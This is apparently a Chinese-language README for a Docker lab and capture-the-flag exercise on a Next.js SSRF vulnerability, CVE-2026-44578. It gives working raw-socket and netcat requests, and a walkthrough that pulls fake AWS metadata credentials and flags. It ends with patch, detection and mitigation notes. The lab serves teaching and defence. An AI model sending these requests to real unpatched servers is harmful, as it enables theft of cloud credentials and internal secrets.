这个实验室可能好也可能坏,正在测试中,但应该能用,去问问AI吧哈哈
| 字段 | 值 |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 高危 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| 类型 | SSRF(CWE-918) |
| 受影响版本 | Next.js 13.4.13 – 15.5.15 和 16.0.0 – 16.2.4 |
| 已修复版本 | 15.5.16 和 16.2.5 |
| 认证 | 无 |
| 用户交互 | 无 |
攻击者 (host: 0.0.0.0)
│ HTTP :3000 (公开)
▼
┌──────────────────────────┐ 同一网络命名空间 ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ 伪造 AWS IMDSv1 │
│ "Nimbus Analytics" │ │ (凭据, │
│ (内置 Node 服务器) │ │ user-data, 索引) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln(端口 3000):易受攻击的应用,暴露于 0.0.0.0:3000。imds-sidecar:AWS 元数据服务的模拟,位于 Next.js 容器命名空间 内部 的 localhost:80,模拟真实云实例。无法从主机直接访问(未发布端口)。 CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # 自动化 PoC(5 个探测)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # 伪造 IMDSv1 + 秘密路由
└── nextjs-app/ # 真实应用 "Nimbus Analytics"
├── app/
│ ├── globals.css
│ ├── layout.js # 导航栏/页脚
│ ├── page.js # 落地页
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (易受攻击)
router-server.ts 中的 WebSocket 升级处理器在解析后的 URI 具有 parsedUrl.protocol 时调用 proxyRequest(),未 检查普通 HTTP 处理器始终发出的 finished 和 statusCode 标志:
// 易受攻击 (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// 补丁 (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
攻击路径使用 双斜杠绝对 URI 的请求行: GET http:///path。normalizeRepeatedSlashes 将 http:/// 折叠为 http:/,从而没有主机名,然后 http-proxy 连接到 localhost:80,路径保持不变:
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Connection: Upgrade + Upgrade: websocket 头的存在使请求落入易受攻击的升级处理器,而不是具有安全检查的 HTTP 处理器。
docker compose up -d --build
验证应用响应:
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
为了使其在 0.0.0.0 上运行,docker-compose.yml 中的端口映射已在所有接口上暴露 3000:3000。
nc)printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
完整 100% 手动流程,分 4 个阶段。内部服务(localhost:80)中隐藏着 4 个标志;本指南展示到达第一个标志的流程,并为你留下寻找其余标志的路径。
# 服务器指纹
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# 通过 socket 检查开放端口(无需 nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
攻击者无法直接访问 127.0.0.1:80:唯一途径是让 Next.js 服务器(与内部服务位于同一网络)替我们发起请求。
首先通过查询元数据服务的索引来确认 SSRF:
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
索引响应 → 候选:instance-id、hostname、iam/security-credentials/、user-data(第一个标志)。latest/meta-data/ 的索引还揭示了值得继续探索的子键。
GET http:///latest/user-data HTTP/1.1
| 部分 | 功能 |
|---|---|
GET | 该漏洞仅代理 GET |
http:///latest/user-data | 绝对 URI。http:/// 折叠为 http:/ → 主机名为空 → 代理连接到 localhost:80,保留路径 /latest/user-data |
Host: 127.0.0.1:3000 | 否则服务器返回 400 |
Connection: Upgrade + Upgrade: websocket | 将请求引导至 易受攻击的 升级处理器(普通 HTTP 处理器确实会验证) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | 合法握手所需的最少头 |
终止:原始 socket 上的 \r\n\r\n(无正文)。
# 选项 A:netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# 选项 B:Python 原始 socket(同样精确,无需 nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
输出 — 第一个标志 在内部服务响应的正文中到达:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}
已获得标志 1/4。 server: BaseHTTP/0.6 ...(Python 模拟)头确认请求经过了 攻击者 → Next.js → localhost:80,即标志通过 SSRF 从内部网络被窃取。其余 3 个散布在元数据服务和内部服务的路径中 — latest/meta-data/ 的索引是你的地图。找到其余标志。
伪造的 IMDS(localhost:80)模拟真实的 AWS 元数据服务:它是一个 可导航的树。每个目录(以 / 结尾)响应其子路径的索引;请求不带 / 的目录返回 301 重定向。没有隐藏路径:没有标志需要猜测 — 一切通过导航索引发现。
/ → latest/
├── meta-data/ → ami-id, hostname, iam/, instance-id, instance-type,
│ local-hostname, placement/, public-hostname, tags/
├── dynamic/ → instance-identity/
└── user-data → 启动脚本(指向 internal/config)
| 路径 | 内容 |
|---|---|
latest/meta-data/ | 元数据索引(见上方) |
latest/meta-data/iam/security-credentials/ | 角色 lab-ssrf-role |
latest/meta-data/iam/security-credentials/lab-ssrf-role | 包含 AccessKeyId、SecretAccessKey 和 Token 的 JSON |
latest/user-data | 包含数据库凭据的启动脚本 |
latest/dynamic/instance-identity/document | 实例身份 JSON |
internal/config | 内部服务的配置(DB、API 密钥)— 由 user-data 引用 |
CTF 挑战: 有 4 个标志,每个都是针对 AWS 的 SSRF 利用链中的 真实工件:(1) 启动 user-data,(2) IAM 凭据,(3) 身份文档,(4) 内部服务配置。其值 未公开。导航索引(
/→latest/→ …),你将从一个横幅到下一个横幅;user-data 脚本会告诉你第四个标志的位置。无需猜测路径:404 只会暴露你在发明不存在的路径。
完整版本包含标志→标志链,见单独文档: SOLUCION.md(每个标志给你下一个的提示,不在本 README 中)。
规则: 每个标志有一个提示、一个 障碍 和解决方案。先用提示尝试;卡住时使用障碍。没有隐藏路径:没有伪造,一切皆可导航。
开始前两个注意事项:
ssrf() 辅助函数已就绪,见 SOLUCION.md → 准备:复制并使用它完成其余指南。发送 GET http:///<path> 请求,带 Connection: Upgrade + Upgrade: websocket。RkxBR3… 块(FLAG{…} 的 base64)。解密:
echo <blob> | base64 -d。/latest/user-data 的 GET 返回什么?这是任何攻击者在 AWS 上首先检查的内容。/ 结尾列出。ssrf latest/meta-data 给你 301 Moved Permanently 和 Location: latest/meta-data/。= "跟随我"。使用 nc 没有自动跟随:带斜杠 重复请求。ssrf latest/user-data
在正文中:包含 DB_PASS=… 的启动脚本(标志 1 在其中),以及一行 curl -s http://internal/config,这是标志 4 的地图。
latest/meta-data/iam/security-credentials/ 并请求出现的角色。Token 不是填充): 200 返回一个长 JSON。AccessKeyId/SecretAccessKey 显而易见;标志 2 不在那里:Token 字段是单个 base64 字符串。解密它。ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role
latest/meta-data/ 不是唯一的树。查看根索引:有一个几乎没人打开的 dynamic/。dynamic/ → instance-identity/ → document。三个层级;每一层你的 ssrf 必须以 / 结尾(document 除外)。人们因在 301 后未重新请求而迷失。ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document
身份 JSON 包含一个带有标志 3 的 FLAG 键(base64)。如果你的命令序列在第二层返回 301,记住障碍 1 的教训。
curl -s http://internal/config。internal 无法解析。"internal" 是 服务器端 的别名,不是你的。你不改变主机:SSRF 总是落在 localhost:80;你只选择 路径。ssrf internal/config
验证全部 4 个(base64 块 → 解码):
ssrf latest/user-data | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
4/4 标志到手。如果某个未输出 FLAG{...},你知道该怎么做:检查 user-data 的 curl(标志 4 的障碍)或索引的 /(标志 1 的障碍)。
手动使用示例,例如 IAM 凭据:
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
预期结果 — 响应带有 server: BaseHTTP/0.6 Python/3.12.x(模拟),而非 Next.js 横幅,证明请求由服务器向 localhost:80 发出:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain
{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}
PoC 验证 SSRF 但 审查标志:FLAG{...} 的 base64 块和明文 FLAG{...} 显示为审查文本。值只能通过手动探索获得(见上方 CTF 部分)。
--- IAM Creds ---
HTTP/1.0 200 OK
{"Code": "Success", ..., "Token": "RkxBR3******** (flag cifrado: explotacion manual) ***"}
--- User Data ---
HTTP/1.0 200 OK
#!/bin/bash
flag=RkxBR3******** (flag cifrado: explotacion manual) ***
http:/// 的规范化中丢失)。Upgrade: websocket)。要确认补丁(Next.js ≥ 15.5.16)阻止了攻击,将 nextjs-app/package.json 中的版本更改为 15.5.16,重建并重新执行相同载荷:连接将关闭且不返回数据。
Next.js 进程日志中的特征:
Failed to proxy http:/ — 代理已触发但目标不可达。http: 的绝对 URI,同时带有 Connection: Upgrade / Upgrade: websocket 头的请求。HttpTokens=required)。if ($request_uri ~* "^https?://") { return 400; }